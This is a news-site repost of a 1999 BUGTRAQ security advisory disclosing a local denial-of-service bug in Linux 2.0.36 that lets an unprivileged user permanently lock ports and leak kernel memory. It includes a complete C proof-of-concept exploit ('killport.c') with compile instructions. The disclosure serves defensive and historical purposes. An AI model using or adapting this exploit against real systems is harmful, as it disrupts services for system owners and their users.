SHARE
Facebook X Pinterest WhatsApp

Linux 2.0.36 vulnerable to local port/memory denial of service attack

Written By
thumbnail
Web Webster
Web Webster
Jan 20, 1999

As reported on BUGTRAQ.

    From: David Schwartz 
 Subject: Linux 2.0.36 vulnerable to local port/memory DoS attack
    Date: Tue, 19 Jan 1999 11:33:19 -0800
      To: BUGTRAQ@netspace.org
Reply-To: David Schwartz 


I discovered an exploitable bug in Linux kernel 2.0.35 in September
of 1998. I reported it to the Linux developers. I was assured that this bug
was part of a family of similar bugs that would soon be banished from the
Linux kernel. In fact, I was told the release of 2.0.36 was being delayed
to allow this bug, and others like it, to be fixed.

Well, I just tested the exploit against a stock 2.0.36 kernel, and
unfortunately, the attack still works. 2.1.x and the 2.2.x-pre builds are
not vulnerable. A local unprivileged account is required to launch this
attack. Multithreaded programs that work perfectly on other operating
systems may accidentally trigger this bug on affected Linux systems.

The effect of this bug is that anyone with a local account can
permanently (until a reboot) steal any ports he or she wants (>1024, of
course). It becomes subsequently impossible to listen on this port. Oddly,
the kernel itself continues listening on the port and accepts incoming TCP
connections.

Kernel memory can be leaked in any quantity desired. Any number of
ports can be made unusable.

You will know if this bug has been exploited on your system because
you will see sockets stuck permanently in the 'CLOSE_WAIT' state. The only
cure is a reboot. As far as I can tell, there is no way to determine which
user launched the attack once their process terminates. (I checked the uid
field in the kernel, it's blank.)

The way you trigger the bug is to open the port, and then while one
thread selects on the port, another closes it. Due to the select, the close
fails.  The close can never happen again, as far as I know.

The attached exploit code demonstrates the bug without harming the
system too badly. Much more vicious exploits can be written trivially.

David Schwartz davids@webmaster.com

// This program will kill a random port on a linux machine. The kernel will
// forever listen to that port and send the connections nowhere. Tested with
// Linux kernel 2.0.35 and libc-2.0.7. Requires LinuxThreads to compile,
// but removing LinuxThreads from your system will not solve the problem.

// The bug is triggered when a multithreaded program closes a socket from
// one thread while another thread is selecting on it. A subsequent abort
// leaves the socket in never-never land.

// Do not underestimate the risk of this exploit. While this program
// is mild, more vicious programs could lock large numbers of ports or
// replicate this same attack on an active connection with large
// send/receive buffers full of data. This could cause large increases
// in kernel memory consumption.

// Discovered by David J. Schwartz 
// Copyright (C) 1998, David J. Schwartz

// Note: This bug was not fixed in 2.0.36, as I was told it would be

// Compile with:
// gcc killport.c -lpthread -o killport

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

volatile int s;

void *Thread1(void *a)
{
 int i,p;
 struct sockaddr_in to;
 fd_set fd;
 s=socket(AF_INET, SOCK_STREAM, 0);
 if(s<=0) return;
 memset(&to, 0, sizeof(to));
srand(getpid());

 /* we pick a random port between 50000 and 59999 */
 p=(rand()%10000)+50000;

 printf("port = %dn", p);
 fflush(stdout);
 to.sin_port=htons(p);
 to.sin_addr.s_addr=0;
 to.sin_family=AF_INET;
 if(bind(s, (struct sockaddr *)&to, sizeof(to))<0)
  fprintf(stderr,"no bindn");
 if(listen(s,10)!=0)
  fprintf(stderr,"No Listenn");
 /* now we are listening on that port */
 i=sizeof(to);
 FD_ZERO(&fd);
 FD_SET(s,&fd);
 select(s+1,&fd,NULL,NULL,NULL);
 /* at this point we have selected on it as well */
 fprintf(stderr,"select returned!n");
}

void *Thread2(void *a)
{
 close(s);
 fflush(stderr);
 abort();
}

void main(void)
{
 pthread_t j;
 pthread_create(&j,NULL,Thread1,NULL);
 usleep(100); /* give the other thread time to finish */
 pthread_create(&j,NULL,Thread2,NULL);
 while(1) sleep(1);
}
thumbnail
Web Webster

Web Webster

Web Webster has more than 20 years of writing and editorial experience in the tech sector. He’s written and edited news, demand generation, user-focused, and thought leadership content for business software solutions, consumer tech, and Linux Today, he edits and writes for a portfolio of tech industry news and analysis websites including webopedia.com, and DatabaseJournal.com.

Recommended for you...

A Thorough Approach to Improve the Privacy and Security of Your Linux PC
Damien
Oct 24, 2024
Several Russian Maintainers Removed From Linux Kernel Due To Compliance Concerns
Senthil Kumar
Oct 23, 2024
OpenSSH Splits Again: New Authentication Binary Unveiled
Bobby Borisov
Oct 16, 2024
13 Best Free and Open Source Anti-Malware Tools
webmaster
Oct 14, 2024
Linux Today Logo

LinuxToday is a trusted, contributor-driven news resource supporting all types of Linux users. Our thriving international community engages with us through social media and frequent content contributions aimed at solving problems ranging from personal computing to enterprise-level IT operations. LinuxToday serves as a home for a community that struggles to find comparable information elsewhere on the web.

Property of TechnologyAdvice. © 2025 TechnologyAdvice. All Rights Reserved

Advertiser Disclosure: Some of the products that appear on this site are from companies from which TechnologyAdvice receives compensation. This compensation may impact how and where products appear on this site including, for example, the order in which they appear. TechnologyAdvice does not include all companies or all types of products available in the marketplace.